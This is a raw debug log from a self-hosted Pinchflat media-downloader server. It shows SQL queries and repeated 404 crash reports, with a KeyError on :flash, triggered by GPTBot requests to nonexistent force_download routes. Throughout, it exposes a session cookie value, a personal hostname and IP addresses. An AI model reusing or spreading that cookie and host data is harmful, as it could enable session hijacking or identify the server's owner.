s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:18.250 [debug] QUERY OK source="settings" db=0.3ms idle=17.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:18.251 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=17.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:18.252 [debug] QUERY OK source="media_profiles" db=0.2ms idle=18.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:18:18.256 [info] Sent 200 in 25ms 02:18:20.349 [info] GET /sources/4/media/102834 02:18:20.349 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102834", "source_id" => "4"} Pipelines: [:browser] 02:18:20.350 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=704.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102834] 02:18:20.351 [debug] QUERY OK source="tasks" db=0.2ms idle=705.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102834] 02:18:20.352 [debug] QUERY OK source="sources" db=0.5ms idle=706.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:18:20.352 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.1ms idle=707.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2630] 02:18:20.353 [debug] QUERY OK source="settings" db=0.3ms idle=296.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:20.354 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:20.355 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:20.356 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:18:20.359 [info] Sent 200 in 10ms 02:18:22.399 [info] GET /sources/1/media/89349/force_download 02:18:22.400 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=754.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:22.400 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=755.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:22.400 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:18:22.401 [error] #PID<0.263819.0> running PinchflatWeb.Endpoint (connection #PID<0.263778.0>, stream id 11) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89349/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89349/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89349/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38380}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263819.0>, params: %{}, path_info: ["sources", "1", "media", "89349", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89349/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKWBkD4JGjl90AMXLC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89349/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38380}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89349/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89349/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38380}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e0 (truncated) 02:18:24.388 [info] GET /sources/1/media/89340/force_download 02:18:24.389 [debug] QUERY OK source="settings" db=0.3ms idle=743.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:24.390 [debug] QUERY OK source="settings" db=0.2ms idle=744.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:24.390 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:18:24.391 [error] #PID<0.263820.0> running PinchflatWeb.Endpoint (connection #PID<0.263778.0>, stream id 12) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89340/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89340/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89340/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38380}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263820.0>, params: %{}, path_info: ["sources", "1", "media", "89340", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89340/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKWI-bJ9BjBskAMXMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89340/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38380}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89340/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89340/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38380}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e0 (truncated) 02:18:28.524 [info] GET /sources/1/media/89342/force_download 02:18:28.525 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=879.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:28.525 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=879.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:28.526 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:18:28.526 [error] #PID<0.263821.0> running PinchflatWeb.Endpoint (connection #PID<0.263778.0>, stream id 13) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89342/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89342/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89342/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38380}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 13, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263821.0>, params: %{}, path_info: ["sources", "1", "media", "89342", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89342/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEKWYYYUEUUsmwAMXNC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263778.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89342/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 38380}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWC1KSXFZMElhQkhCV25WRGt2UUpVT3FT.W7i30YRHB4vzWY1kDqFuLU0Hpqqs-sGUF4GS5u3xzDY", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; 